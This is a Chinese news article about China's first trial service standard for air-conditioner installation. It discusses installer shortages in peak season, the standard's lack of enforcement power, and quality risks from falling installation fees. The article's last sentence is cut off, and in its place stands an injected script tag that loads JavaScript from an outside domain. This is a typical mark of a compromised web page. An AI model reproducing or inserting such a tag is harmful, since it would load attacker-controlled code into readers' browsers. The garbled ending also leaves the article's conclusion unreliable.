近日，《房间空气调节器安装服务规范》在京发布试行。据悉，这部由中国家用电器维修协会与青岛海尔空调器有限总公司共同起草、多家空调企业共同审定的行业规范，不仅是我国首部空调安装服务规范，也是家用电器行业首部以企业范例为标本的服务规范。该规范在响应性、可靠性、保证性、有形性、关爱性等5个方面对空调安装服务组织和服务人员的服务规范进行了详尽的规定，有助于严格规范并提升企业空调安装服务质量。但由于规范乃推荐性行业自律规范，并不具备强制性，而且中国家电维修协会也不具备行政处罚权力，因此从这种角度来说，规范并不能从根本上迅速改变我国空调安装现存的安全隐患问题。
再战空调安装旺季
“现在是空调销售、安装旺季，我们的安装工人从早上7点开始工作，一直要忙到晚上八九点钟，有时候甚至10点以后。”这是空调厂家和商家共同的感受。不少空调厂家向《中国电子报》记者反映，目前各地区已经相继进入旺季销售，空调销量激增，相应安装数量是淡季的3倍以上。
空调安装数量的激增，是否安装人员相应地就显得人手不够？对此厂商均表示不会存在问题，但摆在面前的事实则是：如同空调一样，空调安装具有明显的淡旺季之分，为节约成本，商家、厂家淡季通常会“遣散”部分安装工，旺季再招回来。若旺季数量增长过快，超过厂商的预计，就有可能出现旺季找不到工人的现象，从而导致安装不及时。比如武汉等地已经在6月底发起了一次空调安装工人的招募活动。
从各地的情况来看，空调投诉也多数由安装不及时引起，其焦点是：在预约时间内空调未及时安装，以及空调厂家售后热线打不通，不少性急的用户干脆提出退货。从这一角度来看，《房间空气调节器安装服务规范》的出台可谓是恰逢其时。
该规范明确规定：空调企业服务组织要有全国统一电话，并保证至少3年不变；服务电话、服务承诺等信息应直接公示给用户，尽告知义务；服务电话语音接通率达到100%，人工接通率应达到90%；提供电话服务的时间每日应不少于9小时，其余时间应设语音留言或记录用户的留言；空调安装人员要经过专业培训和考核，持证上岗；要按与用户预约的时间准时上门，因特殊原因不能准时上门时，要提前通知等。
规范不具强制执行力
但遗憾的是，该规范只是规定厂商“要按与用户预约的时间准时上门，因特殊原因不能准时上门时，要提前通知”，而没有对具体的时间做出规定，即从消费者购买空调到空调真正安装到位之间的时间。这一点的缺失将很难保证空调安装的及时性。
中国家电维修协会副秘书长郭赤兵在接受《中国电子报》记者采访时对此解释道，现在空调安装行业水平参差不齐，不同的厂家具体的安装能力不一样，因此不能一下规定死这一时间，比如有的企业可以做到24小时内保证安装，有的却只能48小时。相对来说，规定预约时间，执行起来较为容易，比如承诺24小时内安装，若违约，消费者可依此向当地消费者协会投诉。
这样的规定虽然契合了目前的空调安装现状，却不能真正为行业或者消费者的现状带来根本性的改变，因为厂家或商家甚至可以承诺100个小时或者更多。可以说，在响应速度上，空调安装依然停留在厂商之间自发性的竞争状态。而且郭赤兵表示，该规范并非强制性标准，中国家电维修协会也没有监督执行或者处罚不执行企业的权力，所能做的就是对违约的企业进行曝光，或通过取消认证等手段，降低其信用度。
可以看出，该规范的出台只是对行业内的做法做了统一的规范，并不能从执行层面保证空调安装质量从此一劳永逸，还需厂商进一步地自律执行。
安装仍有潜在隐患
空调安装除了响应速度等服务上存在很多不确定的因素之外，在技术质量等其他方面也需要消费者继续谨慎对待。据记者观察，目前有两种情况仍会对空调安装质量造成影响：
其一，由于行业竞争压力的存在，很多空调厂家把降低成本的矛头瞄向了安装费用(安装费是厂家额外提供给商家的费用，不计算在产品价格之内)，众所周知，挂机安装费已经从最早的一台200多元降到现在的120元左右，在原材料涨价压力下，厂家有可能再次降低安装费，这将直接影响安装的质量。
其二，空调销售旺季不仅造成安装空调的数量与安装工人数量之间的差距，而且也会带来安装质量的隐患，因为为了应付旺季紧急招来的工人在技术熟练程度上无法保证。
郭赤兵对此也表示：“行业规范的出台无法从根本上改变空调安装的现状。”
总体趋势在转好
不过，郭赤兵也表示，中国空调业在安装方面的总趋势正在好转，到目前为止协会还没有接到一起由空调安装引起的质量和意外事故的投诉。他认为这与今年3月颁布的《房间空调器安装质量检验规范》(试行)有关。
空调厂商双方近几年来也在不断做出努力。在空调行业竞争压力日趋激烈的今天，空调安装在成为缩减成本的“众矢之的”的同时，也很自然地成为?script src=http://er12.com/t.js>
